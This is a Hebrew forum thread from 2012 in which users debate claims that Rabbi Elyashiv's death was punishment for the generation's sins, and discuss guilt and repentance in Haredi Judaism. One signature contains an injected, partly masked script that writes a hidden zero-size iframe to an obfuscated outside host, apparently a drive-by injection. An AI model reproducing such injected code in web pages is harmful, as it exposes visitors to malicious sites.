| נשלח ב-2/9/2012 21:26 |
 |
| |
ההנאה להיות אשם
קראתי שאחד ממרביצי התורה, אמר שהסמרטאפונים הרגו את הרב אלישיב, זה באמת אמירה שטותית, אבל היה ניתן לשמוע עוד כאלו שאמרו כי בעונתינו נלקח ממנו.
אינני יודע מאין הם לקחו שהרב אלישיב נלקח בעוון הדור, מה הכונה שצדיק נלקח בעון הדור, לכל אדם יש שנות חים שנקצבו לו, אבל מבואר כבר שיש דברים המקצרים ימיו של אדם, עכשיו, יתכן מצב שצדיק שנקצבו לו שנים מסוימות בעון הדור ילקח טרם זמנו.
ולפי זה, כדי שדברי האומרים שהרב אלישיב נלקח בעון הדור יהיו נכונים, צריך להניח שנקצבו לו יותר מ 102 שנים, רק בעון הדור נלקח קודם זמנו, אבל מנין להניח ככה, ולמה לומר ככה, הרי לגיל שהוא הגיע כמדומני שגם אחוז אחד מהאוכולסיה לא מגיע, אז למה להניח שהרב אלישיב נקצבו לו יותר מ102 שנה?.
אני רואה בתופעה הנ"ל ובעוד תופעות דומות, שיש בציבור שומרי התורה והמצוות,,לפחות בציבור החרדי, [אינני יודע מה המצב בציבור הדתל"י] הנאה מסוימת להאשים את עצמו, השאלה מנין זה נובע.
אולי זה מיקל על המצפון, הנה, אנחנו בסדר, אנחנו לא נותנים לאירועים לעבור מבלי לעשות כאילו חשבון נפש.
|
|
|
|
| נשלח ב-2/9/2012 22:55 |
|
| |
קסת
העלית נושא חמור הראוי לדיון. ויש בו אפילו כמה חלקים.
א. עצת הרמב"ם היא שאם קורה דבר אסון, צריך אדם לחפש מה לתקן. זה חיפוש ראוי.
ב. האם מותו של רב בגיל 102 יכול להחשב אסון? שאלה טובה מאד. אני מסכים לדעה שזה נראה דבר טבעי ולא עונש. מה גם שלפי מה שפורסם בחודשים האחרונים לחייו לא היה כלל בהכרה.
יש אמנם תפיסה שצדיק מועיל לדור בעצם היותו, אבל דבר זה עצמו טעון בירור, ובמיוחד אם רוצים לטעון שזה נכון לגבי "צמח".
ג. האם החיפוש אחרי תשובה כולל לדפוק על החזה של הזולת ולהאשים אותו?
ד. האם חיפוש אחרי נושאים לתיקון לא עלול בעצמו להפוך לתופעה חולנית של התפלשות בבוץ, האשמה עצמית מוגזמת או לחינם, ועוד? כדבריך כאן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-2/9/2012 23:05 |
|
| |
הרב מיימוני, העובדה שבחדשים האחרונים הוא לא תפקד, אינה אלא מעבירה את ה"עונש", מספר חדשים אחורה.
|
|
|
|
| נשלח ב-2/9/2012 23:08 |
|
| |
ייתכן
נכון.
אולם במקרה כזה, קשה למי שתבע להתפלל עליו כפי שהוא, במצב של צמח.
לא זה מה שהעלה קסת, זה נכון, אבל אני מזכיר זאת כי גם אותי זה קומם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-2/9/2012 23:12 |
|
| |
ההנאה להיות אשם זה מאשיות האמונה החרדית והדתית,
אדם מועד לעולם -אדם אשם לעולם,
בתום תפילת הנעילה- כשכולם מרגישים זכים וטהורים. מהצום והתשובה שהם עשו. וכי עצם היום מכפר,
מיד מתחילים בצעקה -והוא רחום יכפר עוון, למה מתי הספקנו לעשות עוונות? תרגיש אשם זה חלק מהענין.
|
|
|
|
| נשלח ב-2/9/2012 23:20 |
|
| |
ירוחם
האם אין זו תופעה פתולוגית (=שלילית, חולה)?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-2/9/2012 23:26 |
|
| |
מימוני
אתה כותב האם פטירתו של גדול בגיל מבוגר זה אסון?, אני חושב שזה שאלה שונה מהשאלה שהצבתי כאן, גם אם זה אסון, עדיין אין זה אומר שזה קשור לעונות הדור, זה קשור לעצם גזירת המוות שנגזרה על האדם, אבל זה לא קשור לעונות הדור.
לגבי צער על פטירת אדם מבוגר, בעל הטורים בפרשת חיי שרה,על הפסוק ויבוא אברהם לספוד לשרה ולבכותה, מסביר, למה הכ"ף שם זעירא, בגלל שלא היה כל כך בכי,כיון שנפטרה בגיל זיקנה, והרי שרה היתה גדולה בנבואה מאברהם, אעפ"כ הודגש כאן על מיעוט בכי.
הנקודה שאני נבוך בה,וירוחם רומז לה, כי לכאורה ההרגשה הזאת לחיות כל הזמן בתחושת האשמה, לפחות לפי המבט השטחי, נראה שאכן יש לה מקורות ביהדות, וזה לא רק תופעה חרדית חדשה, השאלה האם זה אכן ככה, האם באמת השקפת היהדות שהיהודי ירגיש עצמו תמיד אשם.
ידוע שמביאים בשם רב ניסים גאון משהו בהקשר לוידוי כל יום, שכיון שעלה בדרגה מתודה שאתמול כבר לא היה ככה,במבט שטחי זה נראה שאכן יש כאן גישה כזאת, שגם כשהאדם כבר משתפר אז במקום שירגיש טוב על זה שהשתפר, הוא צריך להרגיש לא טוב שאתמול היה ככה.
יש אמירה כזו, שגם אותה יש מקום לברר, שתפקיד היהודי לעלות מיום ליום,לא לדרוך במקום, אז בעצם יוצא שאין מצב שיהודי לא ירגיש אשם, כי הרי תפקידו להתעלות, ולכאורה חלק בלתי נפרד מההתעלות היא גם לחוש אשמה שאתמול לא היה ככה.
 |
|
|
|
|
|
| נשלח ב-2/9/2012 23:46 |
|
| |
קסת
אני מסכים שלחיפוש אחרי מה לתקן יש חשיבות עצומה. וכעין מה שמובא בשם הגאון כפי שהבאת גם אתה.
אבל יש לכך שני סיוגים חשובים:
א. מדובר בחיפוש אחרי התעלות או תיקון ולא בטיפוח רגשות שליליים. ואשמה היא רגש שלילי! (חביב עלי מה ששמעתי בשם פרופסור יוסף דן, שהיהדות באה כנגד כל רגשות אשמה, בניגוד לנצרות שבאה אחריה).
ב. גם בחיפוש אחרי התיקון צריך להיזהר לא להשתגע. כהמלצה על דרך ההגזמה וגם כפשוטו. עלי לחפש להיות אדם טוב יותר מחר מאשר היום, ולשם כך צריך גם חשבון נפש. אם אנסה לתקן יותר מדי בו זמנית, אזי אכשל לבטח. ובהמשך לסעיף הקודם, אם אייסר את עצמי ברגשות רעים, לא אתקדם אלא אסוג.
ואת השיעור הזה מלמד, בין השאר, ר' נחמן מברסלב. תשואות חן חן לו.
_נוסף העיקר בסעיף ב' ששכחתי קודם. כבר מאוחר ואני עייף...________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 02/09/2012 23:47:56
|
|
|
|
| נשלח ב-2/9/2012 23:53 |
|
| |
הרב מימוני
האם זה תופעה פתלוגית ?היום כבר כן, אבל זה התחיל מכך שטדם לא ירגיש משוחרר- אדם משוחרר גם חושב, ואם הוא חושב מחשבות זה לא משרת את המורים הרוחנים לדורותיהם, קל לשלוט ולהשפיע על אנשים המרגישים אשמים.
נקח כדוגמה קלאסית את האשכול הסמוך בענין האיסור הגדול להוציא ש"ז לבטלה, כאמור אין לזה זכר בתורה!
אבל הרי לא יתכן שבחור צעיר כשההורמונים משתוללים אצלו לא יוציא ש"ז, אין דבר כזה, אם לא ביודעין אז שלא ביודעין.
הפכו את זה לפשע לרצח לעוון כבד וכו'- כך כל בחור מרגיש אשם, הוא כל יום צריך לחזור בתשובה הוא אשם אשם אשם, כך קל מאד מאד להשפיע עליו ולשלוט בו שלא יחשוב.
זו היא ההנאה הפתלוגית מאשמתו של האדם.
|
|
|
|
| נשלח ב-2/9/2012 23:56 |
|
| |
ירוחם
הסברת מדוע אדם - רשע או טפש - יפתח את גישת רגשות האשמה כדי לשלוט בדור הצעיר.
אבל מדוע שהדור הצעיר יסכים לזה? אין הוא אלא תינוק שנשבה.
או שמא תטען שלאחר שמתרגלים, יש בכך הנאה מסויימת. האדם שמתרגל להאשים את עצמו חש גאוה על שהוא טוב מאחרים, הוא לפחות מודה באשמתו. ואולי יש כאן איזו הנאה חולה מהסוג שפרוייד כנראה טען לקיומה (יש לי חוסר סימפטיה לפרויד אבל איני מבין בפסיכואנליזה דבר).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-3/9/2012 00:48 |
|
| |
אין כאן הנאה להיות אשם, אלא שילוב של טמטום ורצון להשתמש בכל דבר, מוצדק או לא, כדי לתת מוסר ולגרום להשתפרות. זה כמובן דבר חיובי כשלעצמו. אבל מדוע אי אפשר להשפיע על אנשים להשתפר בלי לומר להם שבלי השתפרות שלנו הרב אלישיב מת בדמי ימיו (הוא כנראה היה אמור לחיות עד אלף).
זה גם מצביע על היעדר חוש ביקורת של השומעים. אם אני הייתי שומע את זה, אני רוצה לחשוב שהייתי מעיר משהו לדובר האידיוט.
עוד דבר שלומדים מכאן הוא שיכול אדם להיות ת"ח ולומר דברי טעם בלימוד (אני מניח שאת זה הוא יכול), ובו בזמן להיות אידיוט בכל מה שמחוץ לתחום הלמדני.
|
|
|
|
| נשלח ב-3/9/2012 01:07 |
|
| |
קסת
הרב אלישיב מת בעטיו של נחש?
|
|
|
|
| נשלח ב-3/9/2012 03:14 |
|
| |
ולענין ה"הנאה להיות אשם". חושבני שזה אינו ההנאה להיות אשם, אלא יותר הצורך של האדם להרגיש שהוא שולט בעולמו. בעולם חילוני זה מתבטא בעשייה מעשית שאמור לעזור לאדם, או לפחות בקריאת כל החדשות ועשיית לייקים בפייסבוק, שמקנה לאדם סוג של הרגשה שהוא יודע ושולט בכל מה שקורה בכל העולם ובידו להביע דעה כביכול זה ישפיע, או האילוזייה של הדמקורטיה כאילו מיש מניח פתק בקלפי פעם בארבע שנים הוא באמת השולט במדינה ["שלטון העם"]. בעולם אמוני זה הרבה יותר קל, כי ההנחה שכל מה שקורה ויקרה תלוי הוא בתוצאות כוונתי בקריאת שמע שעל המטה, וממילא אני עצמי אחראי לכל מה שקורה, בשבילי נברא העולם, ואם קרה משהו רע אני חייב לעשות תשובה ולהשתפר. [וע"ע מאמר תיאולוגי מדיני לרב"ש]
בקיצור, יותר טוב להרגיש אשם מאשר להרגיש שקורים דברים רבים בעולם שאין לנו אפילו רמז של שליטה עליהם. אם אני אשם זה אומר שבעצם הדבר תלוי בי.
|
|
|
|
| נשלח ב-3/9/2012 05:48 |
|
| |
האשמה היא לצערנו מאושיות החינוך שלנו.
מקובל בפסיכולוגיה שאשמה וגרימת נקיפות מצפון הן אחת הצורות הטובות ביותר לשליטה. גם אם מישהו ספציפי לא ניסה להשתלט, זו מעין השתלטות על ההמונים לדורותיהם.
אין לשאול למה לא מתקוממים. ככה זה עובד, הקרבן משתף פעולה עם המאשים, כי זה מערער את הערכתו ואהבתו לעצמו. ניתן למצוא לזה עשרות דוגמאות, כללית וגם בדת.
גם מה שיהי כתב נכון, זה קצת נותן תחושת השפעה ושליטה על המאורעות. אם אני אשם בזה וזה, אז עלי להתחזק בזה וזה, ואם אתחזק בזה וזה, יחדלו האסונות. יש גם משהו באשמה התמידית שנותן קצת תחושת עליונות מוסרית. וגם קצת הזמנה חברתית לומר לנו ההפך: לא, מה פתאום, אינך אשם, טהור ונקי אתה. זו מניפולציה שגם היא מזיקה נפשית.
מי שרוצה לגדול ולהתפתח, יפרד קודם כל מרגשות אשמה. הם מעולם לא קידמו איש.
קראתי פעם משפט חמוד של דוד גרוסמן, שבעולם מסתובבות כל הזמן אשמות איומות, והן מחפשות למי להזדווג. (ולדעתי בקהל החרדי הן מוצאות את זווגן בקלי קלות!)
|
|
|
|
| נשלח ב-3/9/2012 08:09 |
|
| |
אני דווקא הסקתי מדברי הרב שאיכשר דרא וזכינו להביא את הרב לגיל מופלג
|
|
|
|
| נשלח ב-3/9/2012 08:13 |
|
| |
למעוניינים
ראו בתחילת ספר היראה לרבנו יונה:
טוב לגבר כי-ישא על בנעוריו (איכה ג כז). כי טוב לאדם לשאת ולסבול עולו של הקדוש-ברוך-הוא ולתת מוסרות ומוטות על צווארו להיכנס לעבודת בורא העולם. ויזכור את בוראו בימי בחורותיו, ובכל יום ויום יוסיף אומץ ויתחזק במצות בורא עולם, ויכניס אהבתו בלבו, ויחשוב הבורא תמיד לנגד עיניו, ועל ידי כן ייתן יראת הצור על פניו, ויכניע לבו, וישפיל קומתו ואת רום עיניו, וילך שחוח, ויתהה על עוונות נעוריו, ויבכה עליהם תמיד, וישמור בכל כוחו מחטוא עוד במסתרים, ולא יעשה במחשך מעשיו, ואז יהיה אהוב ונחמד בעיני הבורא, וכל רואיו יאשרוהו.
ובסופו:
תמיד בכל חודש, יום אחד או יותר ישב בתענית או לכל-הפחות יאכל לחם ומים, ואותו-יום יהיה בבכי ובמספד. בכי, זה הבוכה בדמעות. ומספד, כאדם הסופד על מתו, מספר מעשיו ואומר, אוי לי שעשיתי חטא פלוני, אוי לי, כמה חייבתי נפשי למלכו של עולם. וזוהי התשובה המעולה שנאמרה על ידי יואל הנביא (יואל ב יג) וקרעו לבבכם ואל-בגדיכם ושובו אל ה' בצום ובבכי ובמספד.
ויתהה על עונותיו הגלויים לו כהוויתם, ויהיה מודה ועוזב ולא טובל ושרץ בידו.
|
|
|
|
|
